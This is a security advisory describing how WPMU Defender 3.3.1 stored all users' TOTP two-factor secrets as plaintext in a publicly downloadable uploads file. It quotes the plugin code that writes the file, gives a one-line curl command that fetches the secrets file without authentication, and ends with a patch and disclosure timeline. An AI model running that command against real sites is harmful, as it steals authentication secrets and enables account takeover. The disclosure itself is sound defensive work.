TOTP Secrets stored as plaintext in a world-readable file – (WPMU Defender 3.3.1)

Affected pluginWPMU Defender
Active installs70,000+
Vulnerable version3.3.1
Audited version3.3.1
Fully patched version3.3.3
Recommended remediationImmediately update to version 3.3.3 or higher and reset all TOTP secrets.


The plugin stores TOTP secrets as plaintext in a file inside the WordPress uploads directory. On the overwhelming amount of WordPress web server configurations and an attacker will be able to download this file by simply visiting the correct URL. At that point, An attacker can bypass two-factor authentication for all users.

Proof of concept

The plugin uses the following code to generate a new TOTP secret:

 // No data then add new one.
$secret = defender_generate_random_string( self::TOTP_LENGTH, self::TOTP_CHARACTERS );
$_this->add_2fa_line( $user_id . '://:' . $secret . "\r\n" );
public function add_2fa_line( $line ) {
   $file = $this->get_2fa_lock_path();
   return file_put_contents( $file, $line, FILE_APPEND | LOCK_EX );
protected function get_2fa_lock_path() {
  return $this->get_tmp_path() . DIRECTORY_SEPARATOR .   'two-fa.lock';

Ultimately, the plugin stores the TOTP secrets for all users at the location:


An attacker can download all secrets without authentication by running the below command:

curl https://site.test/wp-content/uploads/wp-defender/two-fa.lock


Vendor contactedSeptember 26, 2022
First ResponseSeptember 27, 2022
Fully patched atOctober 20, 2022
Publicly disclosedApril 24, 2023


Leave a Reply

Your email address will not be published. Required fields are marked *